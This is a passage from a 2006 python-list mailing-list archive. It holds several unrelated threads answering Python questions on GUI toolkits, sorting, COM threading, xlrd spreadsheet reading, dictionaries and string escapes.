> Now i began to learn GUI programming. There are so many
> choices of GUI in the python world, wxPython, pyGTK, PyQT,
> Tkinter, .etc, it's difficult for a novice to decide, however.
> Can you draw a comparison among them on easy coding, pythonish design,
> beautiful and generous looking, powerful development toolkit, and
> sufficient documentation, .etc.
> It's helpful for a GUI beginner.
> Thank you.
> 
> 
> :)Sorry for my poor english.
> 

I googled "python gui compare" a while back and got 
www.awaretek.com/toolkits.html as the first result.

Every variation on the values I entered seemed to point me to wxPython, 
which I'm still using now.  However, they seem to think that EasyGUI is 
the easiest to learn, but that it suffers on "Maturity, documentation, 
breadth of widget selection".

All the best,

Cameron.


From carsten at uniqsys.com  Tue Oct 24 11:50:17 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Tue, 24 Oct 2006 11:50:17 -0400
Subject: Sorting by item_in_another_list
In-Reply-To: <1161704497.2516.12.camel@dot.uniqsys.com>
References: <mailman.1034.1161665444.11739.python-list@python.org>
	<ehkfmj$2ol$1@enyo.uwa.edu.au>
	<7.0.1.0.0.20061024123048.05772100@yahoo.com.ar>
	<1161704497.2516.12.camel@dot.uniqsys.com>
Message-ID: <1161705017.2516.20.camel@dot.uniqsys.com>

On Tue, 2006-10-24 at 11:41, Carsten Haese wrote:
> On Tue, 2006-10-24 at 11:31, Gabriel Genellina wrote:
> > At Tuesday 24/10/2006 04:35, Cameron Walsh wrote:
> > 
> > > > c = set(B)
> > > > a.sort(key=c.__contains__, reverse=True)
> > > >
> > > > Tim Delaney
> > >
> > >Depressingly simple.  I like it.
> > 
> > ...and fast!
> 
> ...and not guaranteed to be correct:
> 
> http://www.python.org/doc/2.3.5/lib/typesseq-mutable.html states:
> 
> """
> Whether the sort() method is stable is not defined by the language (a
> sort is stable if it guarantees not to change the relative order of
> elements that compare equal). In the C implementation of Python, sorts
> were stable only by accident through Python 2.2. The C implementation of
> Python 2.3 introduced a stable sort() method, but code that intends to
> be portable across implementations and versions must not rely on
> stability.
> """
> 
> -Carsten

And I noticed a bit to late that the search on python.org lead me to an
outdated version of the docs.

The current documentation states that "Starting with Python 2.3, the
sort() method is guaranteed to be stable." However, it's not clear
whether this specifies language behavior that all implementations must
adhere to, or whether it simply documents an implementation detail of
CPython.

-Carsten




From sjmachin at lexicon.net  Wed Oct  4 11:46:33 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 08:46:33 -0700
Subject: PEP 358 and operations on bytes
In-Reply-To: <7xejtojdys.fsf@ruckus.brouhaha.com>
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
	<7xejtojdys.fsf@ruckus.brouhaha.com>
Message-ID: <1159976793.484514.277050@h48g2000cwc.googlegroups.com>


Paul Rubin wrote:
> "John Machin" <sjmachin at lexicon.net> writes:
> > So why haven't you been campaigning for regular expression support for
> > sequences of int, and for various array.array subtypes?
>
> regexps work on byte arrays.

But not on other integer subtypes. If regexps should not be restricted
to text, they should work on domains whose number of symbols is greater
than 256, shouldn't they?



From Hakusa at gmail.com  Tue Oct 24 00:02:17 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 23 Oct 2006 21:02:17 -0700
Subject: Arrays? (Or lists if you prefer)
In-Reply-To: <mailman.962.1161586806.11739.python-list@python.org>
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
	<QCV_g.1097$GR2.1089@tornado.texas.rr.com>
	<1161585837.292211.233680@i42g2000cwa.googlegroups.com>
	<mailman.962.1161586806.11739.python-list@python.org>
Message-ID: <1161662537.233118.308060@m73g2000cwd.googlegroups.com>


Fredrik Lundh wrote:
> Hakusa at gmail.com wrote:
>
> > Interesting. Could I do . . . let's say
> >
> > b = [range(range(3)]
> >
> > for a three-dimensional array?
>
>  >>> [range(range(3))]
> Traceback (most recent call last):
>    File "<stdin>", line 1, in <module>
> TypeError: range() integer end argument expected, got list.
>
> if your mail program is easier to reach than your Python interpreter
> window, something's wrong with your setup.
>
> </F>

lol. Sad lol.
My mail button is actually easier to reach than my Python Interpreter,
especially when I wrote that quickly befoer going to bed . . . although
other than that, I just find it hard to program recently because school
has been taxing most of my intellectual anything, but yestarday I
thought I'd get back into the string. So nothing is wrong with my set
up, just my over-stressed brain.



From bearophileHUGS at lycos.com  Thu Oct 12 08:53:36 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 12 Oct 2006 05:53:36 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <87fyduory4.fsf@emit.demon.co.uk>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<87fyduory4.fsf@emit.demon.co.uk>
Message-ID: <1160657616.407680.49850@c28g2000cwb.googlegroups.com>

Ian McConnell wrote:
> > If you can use Psyco and your FITS lines are really long (well, maybe
> > too much, the treshold if about >~3000 in my PC) you can use something
> > like this instead the builtin timsort:
> > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330
> > (To compute the median on a image line the median that uses sort is
> > probably better in most cases, expecially if you use the built in sort
> > of numerical libraries.)
>
> sort() sorts all of the data, but you're only after one or two numbers, so
> the MODFIND method may be faster for the median:

The modified quicksort I have shown in the cookbook (466330) is O(n)
too, and it modifies the list in place, so you can apply it twice for
lists of even len.

Bye,
bearophile



From istvan.albert at gmail.com  Mon Oct  9 13:16:02 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 9 Oct 2006 10:16:02 -0700
Subject: ANN: SimpleJSONRPCServer
References: <pan.2006.10.07.21.16.04.582148@spam.me.please>
	<slrneig757.6u2.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <1160414162.578537.213920@c28g2000cwb.googlegroups.com>

Sybren Stuvel wrote:
> aum enlightened us with:
> > I've built a module called SimpleJSONRPCServer, which is essentially
> > the same as the familiar python library module SimpleXMLRPCServer,
> > except that it uses the JSON-RPC protocol.
>
> Thanks a lot! I've used XML-RPC on a low-speed device, and it was way
> too slow.

This is based on XML-RPC.

Probably not that different from sending the JSON as a single text data
parameter in XML-RPC.

i.



From mail at microcorp.co.za  Sat Oct  7 03:34:43 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 7 Oct 2006 09:34:43 +0200
Subject: Dumping the state of a deadlocked process
References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
Message-ID: <000e01c6e9eb$0dd3ab80$03000080@hendrik>

 <andre.naess at gmail.com> wrote:
> Hi all
>
> I'm currently having some issues with a process getting deadlocked. The
> problem is that the only way I can seem to find information about where
> it deadlocks is by making a wild guess, insert a pdb.set_trace() before
> this point, and then step until it locks up, hoping that I've guessed
> right.
>
> The frustrating part is that most of the time my guesses are wrong.

Welcome to the wonderful world of crash and burn....

>
> It would be really nice if I could send the python process some signal
> which would cause it to print the current stacktrace and exit
> immediately. That way I would quickly be able to pinpoint where in the
> code the deadlock happens. Java has a somewhat similar feature where
> you can send a running VM process a SIGQUIT, to which it will respond
> by dumping all current threads and lots of other information on stdout.
>
> Is this possible somehow?

Have you tried to sprinkle your code with print statements of the "We get here
No: 7" kind - you can get quite a good idea of what is going on if you do, and
if there are threads running - the results are often surprisingly insightful...

- Hendrik



From tejovathi.p at gmail.com  Fri Oct 13 03:44:27 2006
From: tejovathi.p at gmail.com (Teja)
Date: 13 Oct 2006 00:44:27 -0700
Subject: COM and Threads
In-Reply-To: <1160724047_3201@sp6iad.superfeed.net>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<1160712022_1597@sp6iad.superfeed.net>
	<1160713687.665650.221900@b28g2000cwb.googlegroups.com>
	<1160718073_1665@sp6iad.superfeed.net>
	<1160718935.372511.303470@m73g2000cwd.googlegroups.com>
	<1160724047_3201@sp6iad.superfeed.net>
Message-ID: <1160725467.164675.318010@i42g2000cwa.googlegroups.com>


Roger Upole wrote:
> "Teja" <tejovathi.p at gmail.com> wrote:
> >
> > Roger Upole wrote:
> >
> >> "Teja" <tejovathi.p at gmail.com> wrote:
> >> >
> >> > Roger Upole wrote:
> >> >
> >> >> "Teja" <tejovathi.p at gmail.com> wrote:
> >> >> >I have an application which uses COM 's Dispatch to create a COM based
> >> >> > object. Now I need to upgrade the application to a threaded one. But
> >> >> > its giving an error that COM and threads wont go together. Specifically
> >> >> > its an attribute error at the point where COM object is invoked. Any
> >> >> > pointers please??????
> >> >> >
> >> >>
> >> >> An actual traceback would help.
> >> >> At a guess, when using COM in a thread
> >> >> you need to call pythoncom.CoInitialize and
> >> >> CoUninitialize yourself.
> >> >>
> >> >>      Roger
> >> >
> >> > Actually Roger, this is the scenario....
> >> >
> >> > I create a COM object at the beginnning of the main thread. In the sub
> >> > thread, I need to access the same instance of the COM object. If it
> >> > were a normal object ie. not a COM obj, i was able to do it. But if it
> >> > were a COM object, its giving an attribute error? Should I pass a COM
> >> > object to the thread. If so How? Please let me know ASAP... Thnks
> >> >
> >>
> >> To pass COM objects between threads, usually they'll need to be marshaled
> >> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled
> >> with pythoncom.CoGetInterfaceAndReleaseStream.
> >>
> >>          Roger
> >
> > I really appreciate your quick reply....Can u please let me know how to
> > do marshalling and unmarshalling or any good refrences to do it.
> > Because i tried to do it. I got some errors ans so I left it...
> >
> > Thnks again...
> >
>
> Here's a simple example using Internet Explorer.
>
> import win32com.client, pythoncom, thread
> ie=win32com.client.Dispatch('internetexplorer.application')
> ie.Visible=1
>
> def nav(istream, dest):
>     pythoncom.CoInitialize()
>     d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch)
>     my_ie=win32com.client.Dispatch(d)
>     my_ie.Navigate(dest)
>     pythoncom.CoUninitialize()
>
> s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
> thread.start_new_thread(nav, (s, 'www.google.com'))
>
>       Roger

Thnks a lot Roger, Its working gr8..Now, once the thread is started
with start_new_thread, is there any way to terminate it upon user's
request. I have explored and found out that there is no thread.kill().
So wht to do now?

Teja



From georgeryoung at gmail.com  Sat Oct 28 14:10:00 2006
From: georgeryoung at gmail.com (georgeryoung at gmail.com)
Date: 28 Oct 2006 11:10:00 -0700
Subject: what is "@param" in docstrings?
Message-ID: <1162059000.915118.313070@f16g2000cwb.googlegroups.com>

I'm starting to read about twisted and I keep seeing things like:
[from twisted/internet/app.py]

    def __init__(self, name, uid=None, gid=None, authorizer=None,
authorizer_=None):
        """Initialize me.
        If uid and gid arguments are not provided, this application
will
        default to having the uid and gid of the user and group who
created it.

        @param name: a name

        @param uid: (optional) a POSIX user-id.  Only used on POSIX
systems.

        @param gid: (optional) a POSIX group-id.  Only used on POSIX
systems.
        """
        _AbstractServiceCollection.__init__(self)
        self.name = name
        ...

What does the "@param" mean?  It looks like something meant to be
machine readable.  Alas, googling on "@param" doesn't work...  It looks
at first like a decorator, but that doesn't make much sense.

-- George Young



From http  Thu Oct 12 14:59:19 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 11:59:19 -0700
Subject: paseline(my favorite simple script): does something similar exist?
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
Message-ID: <7xodshs6m0.fsf@ruckus.brouhaha.com>

"RickMuller" <rpmuller at gmail.com> writes:
> def parseline(line,format):
>     xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
>     result = []
>     words = line.split()
>     for i in range(len(format)):
>         f = format[i]
>         trans = xlat.get(f,'None')
>         if trans: result.append(trans(words[i]))
>     if len(result) == 0: return None
>     if len(result) == 1: return result[0]
>     return result

Untested, but maybe more in current Pythonic style:

 def parseline(line,format):
     xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
     result = []
     words = line.split()
     for f,w in zip(format, words):
        trans = xlat[f]
        if trans is not None:
           result.append(trans(w))
     return result

Differences:
  - doesn't ignore improper format characters, raises exception instead
  - always returns values in a list, including as an empty list if
    there's no values
  - uses iterator protocol and zip to avoid ugly index variable
    and subscripts


From larry.bates at websafe.com  Wed Oct 18 17:53:38 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Wed, 18 Oct 2006 16:53:38 -0500
Subject: Getting method name from within the class method
In-Reply-To: <mailman.716.1161205201.11739.python-list@python.org>
References: <mailman.716.1161205201.11739.python-list@python.org>
Message-ID: <4536A262.1010103@websafe.com>

Mitko Haralanov wrote:
> I need to be able to get the name of the currently executed method
> within that method. I know that the method object does have the
> __name__ attribute but I know know how to access it from withing the
> method.
> 
> Something like this:
> 
> class A:
> ....
>     def a_method (self, this, that):
>          print <__name__>
> 
> a = A ()
> a.a_method()
> 'a_method'
> 
> 
> Thanx for your help!

Since you KNOW you are in the method, you can hardcode it:

    def a_method(self, this, than):
        print "a_method"

There's nothing to be gained from accessing a variable unless
you are going to be calling some other method to do the printing.

-Larry


From ptmcg at austin.rr._bogus_.com  Wed Oct  4 13:54:07 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 17:54:07 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
	<slrnei7sc2.fs.horpner@FIAD06.norwich.edu>
Message-ID: <3zSUg.25440$DU3.23095@tornado.texas.rr.com>


"Neil Cerutti" <horpner at yahoo.com> wrote in message 
news:slrnei7sc2.fs.horpner at FIAD06.norwich.edu...

> Look at the code again. It's not testing what it says it's
> testing.
>

It isnt?

The only quibble I can see is that there really is no "first" element in a 
set.  I picked the "0 in set" and "0 in list" to pick the fastest case for 
list, which does a linear search through the list elements.

Where did I go wrong on the test descriptions?

-- Paul




From pandyacus.xspam at xspam.sbcglobal.net  Wed Oct 25 21:20:05 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Thu, 26 Oct 2006 01:20:05 GMT
Subject: Fatal Python error: deallocating None
References: <mailman.1225.1161823265.11739.python-list@python.org>
Message-ID: <87lkn3c1pz.fsf@localhost.localdomain>

"Delaney, Timothy (Tim)" <tdelaney at avaya.com> writes:

> George Sakkis wrote:
> 
> > What makes the problem worse is that it's not deterministic; I can
> > restart it from (a little before) the point of crash and it doesn't
> > happen again at the same point, but it might happen further down. Now,
> > I wouldn't mind restarting it manually every time since the crashes
> > are not all that frequent; problem is, it's supposed to be a
> > long-running process that will probably take days to finish normally,
> > so I want it to run overnight too. Any hints ?
> 
> None should *never* be deallocated, so it sounds like it's not being
> INCREFed correctly somewhere. Extension module, etc ...
> 
> Tim Delaney
Or incorrectly DECREFed, perhaps?

-Chetan


From sjmachin at lexicon.net  Thu Oct  5 11:21:58 2006
From: sjmachin at lexicon.net (John Machin)
Date: 5 Oct 2006 08:21:58 -0700
Subject: How do I read Excel file in Python?
In-Reply-To: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
Message-ID: <1160061718.605057.243590@h48g2000cwc.googlegroups.com>


kath wrote:
> How do I read an Excel file in Python?
>
> I have found a package to read excel file, which can be used on any
> platform.

Hi Sudhir,
So far, so good :-)

>
> http://www.lexicon.net/sjmachin/xlrd.htm
> I installed and working on the examples, I found its printing of cell's
> contents in a different manner.
>
> >>> import xlrd
> >>> book=xlrd.open_workbook("Calculation_file.xls")
> >>> book=xlrd.open_workbook("testbook.xls")
> >>> sh=book.sheet_by_index(0)
> >>> for row in range(sh.nrows):
> 	print sh.row(rx)
> [text:u'name', text:u'address', text:u'ph']
> [text:u'sudhir', text:u'bangalore', number:1234.0]
> [text:u'vinay', text:u'bangalore', number:3264.0]

It helps when asking questions if you copy/paste exactly what is on
your screen;
in this case
    print sh.row(rx)
would have given an error; you must have typed
    for rx in range.....

A row is returned as a sequence of Cell objects. What you are seeing is
Python automatically doing repr(cell) on each cell in the row. The
Cell.__repr__ method formats it that way for debugging. Here are some
examples from a little test file of mine:

>>> import xlrd
>>> bk = xlrd.open_workbook('sjm1.xls')
>>> sh = bk.sheet_by_index(0)
>>> row0 = sh.row(0)
>>> row0
[text:u'fubar', number:1.0, number:2.0]
>>> firstcell = row0[0]
>>> type(firstcell)
<class 'xlrd.sheet.Cell'>
>>> firstcell.ctype
1
>>> # cell type 1 is text
>>> firstcell.value
u'fubar'
>>> repr(firstcell)
"text:u'fubar'"

>
> I am bit confused with slicing. help me....
>
None of the above is anything to do with slicing; is this a 2nd
problem?

Perhaps you are having trouble with this:
>>> help(sh.row_slice)
Help on method row_slice in module xlrd.sheet:

row_slice(self, rowx, start_colx=0, end_colx=None) method of
xlrd.sheet.Sheet instance
    ##
    # Returns a slice of the Cell objects in the given row.
>>>

sh.row_slice(rowx, lo, hi) gives the same result as sh.row(rowx)[lo:hi]
-- it is provided because the latter would be inefficient for getting a
small slice from a long row.

If you are having trouble with the general concept of slicing, perhaps
you might like to try the Python tutorial. Otherwise, please try to be
a bit more specific about what the confusion is.

HTH, and e-mail me if you prefer ...

Cheers,
John



From pavlovevidence at gmail.com  Tue Oct 24 23:23:26 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 24 Oct 2006 20:23:26 -0700
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <1161746606.665795.102440@m7g2000cwm.googlegroups.com>


pretoriano_2001 at hotmail.com wrote:
> Hello:
> I have next dictionaries:
> a={'a':0, 'b':1, 'c':2, 'd':3}
> b={'a':0, 'c':1, 'd':2, 'e':3}
> I want to put in a new dictionary named c all the keys that are in b
> and re-sequence the values. The result I want is:
> c={'a':0, 'c':1, 'd':2}
> How can I do this with one line of instruction?
>
> I attempted the next but the output is not the expected:
> c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> erroneously (for me) gets:
> {'a': 0, 'c': 2, 'd': 3}

Filter first, Sort second, Enumerate third, Build Dict last:

c = dict((k,v) for (v,k) in enumerate(sorted(j for j in a if j in b)))


The inner generator you could do with sets also.

c = dict((k,v) for (v,k) in enumerate(sorted(set(a)&set(b))))


Carl Banks



From steve at holdenweb.com  Mon Oct  9 03:33:51 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 09 Oct 2006 08:33:51 +0100
Subject: CGI Tutorial
In-Reply-To: <egcghv$viv$3@lust.ihug.co.nz>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>	<mailman.1374.1160073684.10491.python-list@python.org>
	<egcghv$viv$3@lust.ihug.co.nz>
Message-ID: <4529FB5F.3020901@holdenweb.com>

Lawrence D'Oliveiro wrote:
> In message <mailman.1374.1160073684.10491.python-list at python.org>, Steve
> Holden wrote:
> 
> 
>>Credit card numbers should be encrypted in the database, of course, but
>>they rarely are (even by companies whose reputations imply they ought to
>>know better).
> 
> 
> How would encryption help? They'd still have to be decrypted to be used.

Indeed they would, but with proper key management the probability that 
they can be stolen from a database in their plaintext form is rather 
lower. Just last week a police employee in my class told us of an 
exploit where a major credit card copmany's web site had been hacked 
using a SQL injection vulnerability. This is usually done with the 
intent of gaining access to credit card data.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From asma61 at dsl.pipex.com  Mon Oct 23 19:27:01 2006
From: asma61 at dsl.pipex.com (DaveM)
Date: Tue, 24 Oct 2006 00:27:01 +0100
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
Message-ID: <kojqj2d9j04eeut05j12605bp562pufls9@4ax.com>

On Thu, 19 Oct 2006 20:07:27 -0400, Brad <rtilley at vt.edu> wrote:


>It has been my experience that Python has discouraging forums with 
>someone always calling someone else an idiot or telling them they are 
>awful in some way. I love Python, but the community is way too negative, 
>uptight and generally down on users who do not have PhD's in CS or Math.

>Do you have children? How would your child feel if he brought you 
>something he had made and you then told him it was awful in *sooo* many 
>ways. How does that reflect on you and the community you represent?

Wow. Maybe I have thicker skin than you, or perhaps you're a professional
whose self-worth has been damaged, but I would have been grateful for that
critique, not angry. To each his own, I suppose.

DaveM


From bignose+hates-spam at benfinney.id.au  Tue Oct 24 03:57:49 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 24 Oct 2006 17:57:49 +1000
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org> <021801c6f734$cb375900$03000080@hendrik>
Message-ID: <87lkn6qh6q.fsf@benfinney.id.au>

"Hendrik van Rooyen" <mail at microcorp.co.za> writes:

[quoting problems fixed]

>  "Fredrik Lundh" <fredrik at pythonware.com> wrote:
> > some days, I ask myself why I shouldn't just use GPL for
> > everything I do, and ship it as source code only.
>
> because then you would deny your work to thousands of ungrateful,
> unmotivated lazy buggers like me...

Not necessarily. All it needs is one person (with the same platform
you want to use) to take the source, build it for that platform, and
make it available. All the other "ungrateful, unmotivated lazy
buggers" can then take advantage of that -- and reward the person with
whatever praise they require :-)

-- 
 \          "Behind every successful man is a woman, behind her is his |
  `\                                           wife."  -- Groucho Marx |
_o__)                                                                  |
Ben Finney



From tjreedy at udel.edu  Mon Oct  9 18:13:52 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 9 Oct 2006 18:13:52 -0400
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com><slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu><mailman.32.1160258060.11739.python-list@python.org><slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu><mailman.34.1160260043.11739.python-list@python.org><pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<452a6a61$0$22844$426a74cc@news.free.fr>
Message-ID: <egehiv$7at$1@sea.gmane.org>


"Bruno Desthuilliers" <onurb at xiludom.gro> wrote in message 
news:452a6a61$0$22844$426a74cc at news.free.fr...
>
> The current namespace object, of course.

Implementing a namespace as a Python object (ie, dict) is completely 
optional and implementation dependent.  For CPython, the local namespace of 
a function is generally *not* done that way.

tjr





From __peter__ at web.de  Wed Oct 25 05:13:05 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 25 Oct 2006 11:13:05 +0200
Subject: dict problem
References: <mailman.1156.1161765994.11739.python-list@python.org>
Message-ID: <ehn9mi$vqu$00$1@news.t-online.com>

Alistair King wrote:

> Hi,
> 
> ive been trying to update a dictionary containing a molecular formula, but
> seem to be getting this error:
> 
> 
> Traceback (most recent call last):
>   File "DS1excessH2O.py", line 242, in ?
>     updateDS1v(FCas, C, XDS)
> NameError: name 'C' is not defined
> 
> dictionary is:
> 
> DS1v = {'C': 6, 'H': 10, 'O': 5}
> 
> 
> 
> #'Fxas' in each case will be integers but 'atoms' should be a float
> 
> def updateDS1v(Fxas, x, XDS):
>     while Fxas != 0:
>         atoms = DS1v.get('x') + Fxas*XDS
>         DS1v[x] = atoms
> 
> updateDS1v(FCas, C, XDS)
> updateDS1v(FHas, H, XDS)
> updateDS1v(FOas, O, XDS)
> updateDS1v(FNas, N, XDS)
> updateDS1v(FSas, S, XDS)
> updateDS1v(FClas, Cl, XDS)
> updateDS1v(FBras, Br, XDS)
> updateDS1v(FZnas, Zn, XDS)
> print DS1v
> 
> I know there is probably a simple solution but im quite new to python and
> am lost?

Ali, 

the NameError stems from the variable C not being defined.
This can be fixed either by defining it:

C = "C"
updateDS1v(FCas, C, XDS)

or by calling updateDS1v() with a string constant.

updateDS1v(FCas, "C", XDS)

However, there are so many errors in the updateDS1v() function that I
recommend reading an introductory text on Python before you proceed.

Python is so much /more/ fun if you have at least some clue :-)

Peter


From steve at holdenweb.com  Sun Oct  1 01:06:45 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 06:06:45 +0100
Subject: changing numbers to spellings
In-Reply-To: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
Message-ID: <efnibj$9ge$2@sea.gmane.org>

flyingisfun1217 at gmail.com wrote:
> Hey,
> 
> Sorry to bother everybody again, but this group seems to have quite a
> few knowledgeable people perusing it.
> 
> Here's my most recent problem: For a small project I am doing, I need
> to change numbers into letters, for example, a person typing in the
> number '3', and getting the output 'Three'. So far, I have an interface
> that only collects numbers (or letters), and displays them in a text
> variable label (as you can see below). Heres the code I have:
> 
> +--------------------------------+-----------------------------------+
> 
> var=StringVar()
> 
> def collect():
>      var.set(entrybox.get())
> 
> spelledentry=Label(root, textvariable=var)
> spelledentry.grid(row=5, column=1)
> 
> filler1=Label(root, text="                    ")
> filler1.grid(row=0, column=0)
> 
> titletext=Label(root, text="NumberSpeller2")
> titletext.grid(row=0, column=1)
> 
> filler2=Label(root, text="                    ")
> filler2.grid(row=0, column=2)
> 
> filler3=Label(root, text="\n")
> filler3.grid(row=1, column=0)
> 
> entrybox=Entry(root)
> entrybox.grid(row=1, column=1, sticky=N)
> 
> enterbutton=Button(root, text="Spell!", command=collect)
> enterbutton.grid(row=3, column=1, sticky=N)
> 
> filler4=Label(root, text="")
> filler4.grid(row=4, column=1)
> 
> filler5=Label(root, text="")
> filler5.grid(row=6, column=1)
> 
> website=Label(root, text="Visit the NS2 Website")
> website.grid(row=7, column=1, sticky=S)
> 
> +-------------------------------------+----------------------------------------+
> 
> Like I explained a little before, I need to keep users from entering
> any letters, and I need to have the numbers they typed in translated to
> text.
> 
> Can someone explain how I could go across doing this?
> 
You should get some clue about the number conversion (not to menion a 
bunch of code you can lift :) from

     http://www.python.org/pycon/dc2004/papers/42/ex1-C/num2eng.py

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jonas.esp at googlemail.com  Sat Oct 28 07:36:11 2006
From: jonas.esp at googlemail.com (MindClass)
Date: 28 Oct 2006 04:36:11 -0700
Subject: Import if condition is correct
In-Reply-To: <mailman.1401.1162033936.11739.python-list@python.org>
References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>
	<ehvbso$1k3$1@news.albasani.net>
	<1162032099.393489.321290@e3g2000cwe.googlegroups.com>
	<mailman.1401.1162033936.11739.python-list@python.org>
Message-ID: <1162035371.172600.293680@h48g2000cwc.googlegroups.com>


Steve Holden wrote:
> I'm guessing that you think this might be necessary to avoid importing
> the same module multiple times: it's not. Python only runs the module's
> code the first time the module is imported into a program. A further
> import statement effectively does noting, because the interpreter sees
> (from an entry in the sys.modules dictionary) that the module is already
> present.
>
The problem is that I've to import different libraries according to the
ORM (SQLObject, SQLAlchemy, etc)



From mail at microcorp.co.za  Sun Oct  1 03:39:29 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sun, 1 Oct 2006 09:39:29 +0200
Subject: Escapeism
References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com><slrnehsel7.o25.sybrenUSE@schuimige.stuvel.eu>
	<1159635727.840033.169540@m73g2000cwd.googlegroups.com>
Message-ID: <015b01c6e53c$91844100$03000080@hendrik>

"Kay Schluehr" <kay.schluehr at gmx.net> wrote:

> Sybren Stuvel wrote:
> > Kay Schluehr enlightened us with:
> > > Usually I struggle a short while with \ and either succeed or give up.
> > > Today I'm in a different mood and don't give up. So here is my
> > > question:
> > >
> > > You have an unknown character string c such as '\n' , '\a' , '\7' etc.
> > >
> > > How do you echo them using print?
> > >
> > > print_str( c ) prints representation '\a' to stdout for c = '\a'
> > > print_str( c ) prints representation '\n' for c = '\n'
> > > ...
> > >
> > > It is required that not a beep or a linebreak shall be printed.
> >
> > try "print repr(c)".
>
> This yields the hexadecimal representation of the ASCII character and
> does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the
> escape semantics. One way to achieve this naturally is by prefixing
> '\a' with r where r'\a' indicates a "raw" string. But unfortunately
> "rawrification" applies only to string literals and not to string
> objects ( such as c ). I consider creating a table consisting of pairs
> {'\0': r'\0','\1': r'\1',...}  i.e. a handcrafted mapping but maybe
> I've overlooked some simple function or trick that does the same for
> me.
>
> Kay

dumb question - is the backslash as escape character fixed or can one set its
(the escape char's)
value so that backslash is not the escape char?

seems to me that would help - or if you could turn the behaviour off - don't
know how though...

- Hendrik





From eurleif at ecritters.biz  Tue Oct 24 10:49:55 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Tue, 24 Oct 2006 10:49:55 -0400
Subject: The format of filename
In-Reply-To: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
Message-ID: <453e2751$0$13828$4d3efbfe@news.sover.net>

Neil Cerutti wrote:
> Where can I find documentation of what Python accepts as the
> filename argument to the builtin function file?

Python will accept whatever the OS accepts.

> As an example, I'm aware (through osmosis?) that I can use '/' as
> a directory separator in filenames on both Unix and Dos. But
> where is this documented?

It's documented in the OS's documentation. It can be queried with os.sep 
